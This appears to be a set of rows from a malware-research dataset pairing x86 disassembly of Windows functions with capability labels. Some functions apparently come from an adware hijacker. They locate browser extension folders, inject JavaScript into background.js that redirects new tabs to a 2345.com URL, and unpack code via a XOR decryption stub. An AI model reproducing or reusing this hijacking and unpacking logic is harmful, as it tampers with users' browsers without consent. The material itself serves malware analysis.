joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48c9d0
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b6110
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x48cb77
mov ecx, dword [0x4f02dc]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x48cacc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.0048b6f0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.004a6332
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.004a6245
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x4ef084
call fcn.004a62b3
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.0048bab0
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.004a6332
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.004a6245
lea ecx, [esp + 0xc]
call fcn.004a670d
mov ecx, dword [esp + 0xc]
push 0x4efac4
push ecx
call fcn.00495ad4
add esp, 8
test eax, eax
je 0x48caf4
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x48ca2d
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.004a6245
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004a6245
jmp 0x48cb7b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.0048c770
test eax, eax
push 0
je 0x48cb5f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.0048ae10
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x48cb45
cmp eax, 0x64
jg 0x48cb33
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x48cad0
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x48cad0
cmp eax, 0x64
jge 0x48cacc
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x48cad0
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.0048ae10
mov esi, eax
jmp 0x48cad0
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x48cb85
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x4a8629
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4a8661
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004a66a0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004a6678
jmp 0x4a866d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4a9d1b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a9d5d
call fcn.004afb06
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a9d5d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a9d54
xor eax, eax
jmp 0x4a9d65
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a9d6b
pop edi
pop esi
pop ebx
ret 4

Function at 0x4b0036
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4b0064
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4b0082
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004aff9c
jmp 0x4b0082
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4b0082
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004aff9c
test edi, edi
mov eax, edi
jne 0x4b006c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402349
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4048c8
call fcn.00402ab4
push 1
call fcn.00402611
pop ecx
test al, al
jne 0x4021f2
push 7
call fcn.0040287f
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004025dc
mov byte [ebp - 0x24], al
mov eax, dword [0x40641c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4021eb
test eax, eax
jne 0x40225c
mov dword [0x40641c], ecx
push 0x40416c
push 0x40415c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40223f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x402343
push 0x404158
push 0x404150
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40641c], 2
jmp 0x402261
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040276e
pop ecx
call fcn.00402873
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x402291
push esi
call fcn.004026e1
pop ecx
test al, al
je 0x402291
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00402aae
call esi
call fcn.00402879
mov esi, eax
cmp dword [esi], edi
je 0x4022af
push esi
call fcn.004026e1
pop ecx
test al, al
je 0x4022af
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.00402994
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.004029c7
test al, al
jne 0x4022e8
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x4022f1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040278b
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x402343
call fcn.00402afa
ret
call fcn.00402063
jmp 0x4021d3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000110f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10001173
cmp dword [ebp + 0xc], 1
je 0x1000114b
cmp dword [ebp + 0xc], 2
je 0x1000114b
push 0xd
pop eax
jmp 0x10001173
mov eax, dword [ebp - 4]
test edi, edi
je 0x1000116d
test eax, eax
je 0x10001168
test al, 1
jne 0x10001146
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x1000116d
jmp 0x10001146
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8

Function at 0x10001199
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1001948c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
xor edi, edi
lea eax, [ebp - 0x20a]
push edi
push eax
mov esi, ecx
call fcn.10006980
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0xc
push edi
push 0x1c
lea eax, [ebp - 0x20c]
push eax
push edi
call ebx
test eax, eax
je 0x10001258
lea eax, [ebp - 0x20c]
push eax
lea edi, [esi + 0x18]
push edi
call fcn.10001b19
mov ecx, str.GoogleChromeUser_DataDefaultExtensions
mov eax, edi
call fcn.10001cd7
lea eax, [ebp - 0x20c]
push eax
lea edi, [esi + 0x1c]
push edi
call fcn.10001b19
mov ecx, str.liebaoUser_DataDefaultExtensions
mov eax, edi
call fcn.10001cd7
lea eax, [ebp - 0x20c]
push eax
lea edi, [esi + 0x24]
push edi
call fcn.10001b19
mov ecx, str.360ChromeChromeUser_DataDefaultExtensions
mov eax, edi
call fcn.10001cd7
lea eax, [ebp - 0x20c]
push eax
lea edi, [esi + 0x2c]
push edi
call fcn.10001b19
mov ecx, str.UCBrowserUser_DataDefaultExtensions
mov eax, edi
call fcn.10001cd7
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
push 0
mov ecx, 0x82
lea edi, [ebp - 0x20c]
rep stosd dword es:[edi], eax
push 0x1a
lea eax, [ebp - 0x20c]
push eax
push 0
call ebx
test eax, eax
je 0x100012bc
lea eax, [ebp - 0x20c]
push eax
lea edi, [esi + 0x20]
push edi
call fcn.10001b19
mov ecx, str.360se6User_DataDefaultExtensions
mov eax, edi
call fcn.10001cd7
lea eax, [ebp - 0x20c]
push eax
add esi, 0x28
push esi
call fcn.10001b19
mov ecx, str.SogouExplorerExtension
mov eax, esi
call fcn.10001cd7
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10004f97
leave
ret
Function at 0x100017c7
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x268
mov eax, 0x10013307
call fcn.1000728a
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x268]
mov dword [ebp - 0x274], ecx
push str..
push eax
mov ecx, esi
call fcn.10001ba7
pop ecx
pop ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x270], eax
cmp eax, 0xffffffff
je 0x1000193a
lea eax, [ebp - 0x26c]
push 0x10016a2c
push eax
mov ecx, esi
call fcn.10001ba7
lea ecx, [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x264]
push ecx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.10001ba7
add esp, 0x10
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x26c]
add eax, 0xfffffff0
call fcn.10001177
mov ecx, 0x10016dc4
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000188c
test dx, dx
je 0x10001888
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000188c
add eax, 4
add ecx, 4
test dx, dx
jne 0x10001866
xor eax, eax
jmp 0x10001891
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000190d
mov ecx, 0x10016dc8
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x100018c6
test dx, dx
je 0x100018c2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x100018c6
add eax, 4
add ecx, 4
test dx, dx
jne 0x100018a0
xor eax, eax
jmp 0x100018cb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000190d
test byte [ebp - 0x260], 0x10
je 0x100018ec
mov ecx, dword [ebp - 0x274]
lea eax, [ebp - 0x264]
push eax
call fcn.100017c7
jmp 0x1000190d
push str.background.js
push dword [ebp - 0x264]
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x1000190d
lea eax, [ebp - 0x264]
push eax
call fcn.10001950
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x264]
add eax, 0xfffffff0
call fcn.10001177
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000181a
mov eax, dword [ebp - 0x268]
add eax, 0xfffffff0
call fcn.10001177
call fcn.100072d4
ret 4
Function at 0x10001950
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 7
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10001ab4
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
cmp ebx, 0xffffffff
je 0x10001aaa
cmp ebx, edi
jbe 0x10001aaa
push esi
push ebx
call fcn.10004c4b
mov esi, eax
pop ecx
mov dword [ebp - 0xc], esi
cmp esi, edi
je 0x10001aa9
push ebx
push edi
push esi
mov dword [ebp - 0x18], edi
call fcn.10006980
add esp, 0xc
push edi
lea eax, [ebp - 0x18]
push eax
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001aa9
push 0x10016df0
push esi
call fcn.10005510
pop ecx
pop ecx
test eax, eax
jne 0x10001aa9
push edi
push edi
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], 0xbfbbef
mov dword [ebp - 0x14], 0xfeff
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 3
pop ecx
lea edi, [ebp - 0x10]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x10001a37
mov edi, dword [ebp - 0xc]
mov eax, 0x20202020
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea eax, [ebp - 8]
push eax
push 3
lea eax, [ebp - 0x10]
jmp 0x10001a58
mov eax, dword [ebp - 0xc]
mov ax, word [eax]
cmp ax, word [ebp - 0x14]
jne 0x10001a5e
mov edi, dword [ebp - 0xc]
mov eax, 0x20202020
stosw word es:[edi], ax
push 0
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call ebx
mov esi, dword [ebp + 8]
mov eax, esi
call fcn.10001b7e
push str._sogouexplorerextension_
call fcn.10001b51
cmp eax, 0xffffffff
push 0
lea eax, [ebp - 8]
push eax
je 0x10001a89
push 0xb5
push str.sogouExplorer.tabs.onCreated.addListener_function_tab__r_n__r_n____if__tab.url___se____r_n________sogouExplorer.tabs.update_tab.id__url:__http:__www.2345.com__24384_1087____r_n____r_n
jmp 0x10001a93
push 0xba
push str.chrome.tabs.onCreated.addListener_function_tab__r_n__r_n____if__tab.url.indexOf__:__newtab______1___r_n________chrome.tabs.update_tab.id__url:__http:__www.2345.com__24384_1087____r_n____r_n
push dword [ebp - 4]
call ebx
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 4]
call ebx
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
leave
ret 4
Function at 0x10001f68
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10001fab
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [0x1001b42c], eax
xor esi, esi
lea eax, [ebp + 0xc]
push eax
push esi
push esi
push 0x100036ef
push esi
push esi
mov dword [ebp + 0xc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10001fa9
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x1000297f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100029d6
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x100029c8
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x100029c4
cmp edi, eax
jae 0x100029c8
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x100029b6
cmp edi, eax
jb 0x100029cc
xor eax, eax
jmp 0x100029d5
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x10002b41
Capabilities:
Check if file exists
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
mov eax, 0x100134c6
call fcn.1000728a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp + 0xc]
mov edi, edx
xor esi, esi
push esi
mov ebx, ecx
mov dword [ebp - 0x22c], edi
mov dword [ebp - 0x234], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x10002cfc
lea eax, [ebp - 0x21c]
push eax
push 0x1001424c
push 1
push esi
push 0x1001425c
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, esi
jl 0x10002cfc
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x50]
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push esi
push eax
call fcn.10006980
add esp, 0xc
push esi
push 0x1c
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp eax, esi
je 0x10002c90
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x228], eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x228]
push str._s.ico
mov dword [ebp - 4], esi
call fcn.100048c5
mov ebx, dword [ebp - 0x228]
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x220]
push eax
lea edi, [ebp - 0x218]
call fcn.1000427d
mov ecx, dword [ebp - 0x22c]
lea eax, [ebp - 0x220]
push eax
mov byte [ebp - 4], 1
call fcn.10002f24
pop ecx
push dword [ebp - 0x220]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10002c74
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x220]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x220]
add eax, 0xfffffff0
call fcn.10001177
or dword [ebp - 4], 0xffffffff
lea eax, [ebx - 0x10]
call fcn.10001177
jmp 0x10002c9e
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push esi
push edi
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
lea edx, [ebp - 0x224]
push edx
push 0x1001426c
push eax
call dword [ecx]
test eax, eax
js 0x10002cfc
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x230]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
inc eax
jmp 0x10002cfe
xor eax, eax
call fcn.100072d4
ret
Function at 0x100031b7
Capabilities:
Accept command line arguments
Check if file exists

Disassembly:
push 0x22c
mov eax, 0x100133a1
call fcn.1000728a
mov eax, dword [section..data]
mov edi, ecx
mov esi, section..data
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x230], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [section..data]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
xor eax, eax
mov byte [ebp - 4], 2
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.10006980
lea esi, [edi + 0xc]
add esp, 0xc
mov eax, esi
mov dword [ebp - 0x238], 0x104
call fcn.10001b7e
lea eax, [edi + 0x10]
mov dword [ebp - 0x234], eax
call fcn.10001b7e
push 0x10016a2c
call fcn.10001b51
lea edx, [eax + 1]
lea eax, [ebp - 0x21c]
push eax
mov eax, esi
call fcn.1000436c
lea edi, [ebp - 0x220]
mov byte [ebp - 4], 3
call fcn.10001ad8
mov eax, dword [ebp - 0x21c]
add eax, 0xfffffff0
call fcn.10001177
push str.hklm
call fcn.10001b51
test eax, eax
je 0x100032e8
push str.hkey_local_machine
call fcn.10001b51
test eax, eax
je 0x100032e8
push str.hkcu
call fcn.10001b51
test eax, eax
je 0x100032e1
push str.hkey_current_user
call fcn.10001b51
test eax, eax
je 0x100032e1
push str.hkcr
call fcn.10001b51
test eax, eax
je 0x100032da
push str.hkey_classes_root
call fcn.10001b51
test eax, eax
jne 0x100032ed
mov ebx, 0x80000000
jmp 0x100032ed
mov ebx, 0x80000001
jmp 0x100032ed
mov ebx, 0x80000002
push dword [ebp - 0x220]
mov eax, 0x20019
push ebx
lea ebx, [ebp - 0x22c]
call fcn.100010bd
test eax, eax
jne 0x100033d6
mov eax, dword [ebp - 0x234]
push dword [eax]
mov eax, ebx
push eax
lea esi, [ebp - 0x238]
lea edi, [ebp - 0x218]
call fcn.1000110f
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov eax, edi
push eax
call esi
test eax, eax
je 0x10003370
cmp dword [ebp - 0x22c], 0
je 0x1000334c
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x220]
add eax, 0xfffffff0
call fcn.10001177
mov eax, dword [ebp - 0x230]
add eax, 0xfffffff0
call fcn.10001177
mov al, 1
call fcn.100072d4
ret
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x218]
xor edi, edi
push eax
mov dword [ebp - 0x21c], edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x21c], edi
jle 0x100033d6
cmp eax, edi
je 0x100033d6
push dword [eax]
call esi
test eax, eax
je 0x100033d6
cmp dword [ebp - 0x22c], edi
je 0x100033b4
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
mov eax, dword [ebp - 0x220]
add eax, 0xfffffff0
call fcn.10001177
mov eax, dword [ebp - 0x230]
add eax, 0xfffffff0
call fcn.10001177
mov al, bl
jmp 0x1000336a
xor ebx, ebx
cmp dword [ebp - 0x22c], ebx
je 0x100033b6
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100033b6
Function at 0x10004f97
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001948c]
jne 0x10004fa1
repz ret
jmp fcn.1000842c

Function at 0x10005476
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x1000549d
call fcn.10008721
mov dword [eax], esi
call fcn.1000870e
push 0x16
pop esi
mov dword [eax], esi
call fcn.100086bc
mov eax, esi
jmp 0x100054f2
test dword [ebp + 0xc], 0xfffffff9
jne 0x10005483
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100054ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10008734
pop ecx
call fcn.1000870e
mov eax, dword [eax]
jmp 0x100054f2
test al, 0x10
jne 0x100054f0
test al, 1
je 0x100054f0
test byte [ebp + 0xc], 2
je 0x100054f0
call fcn.10008721
mov dword [eax], 5
call fcn.1000870e
mov dword [eax], 0xd
jmp 0x100054c1
xor eax, eax
pop esi
pop ebp
ret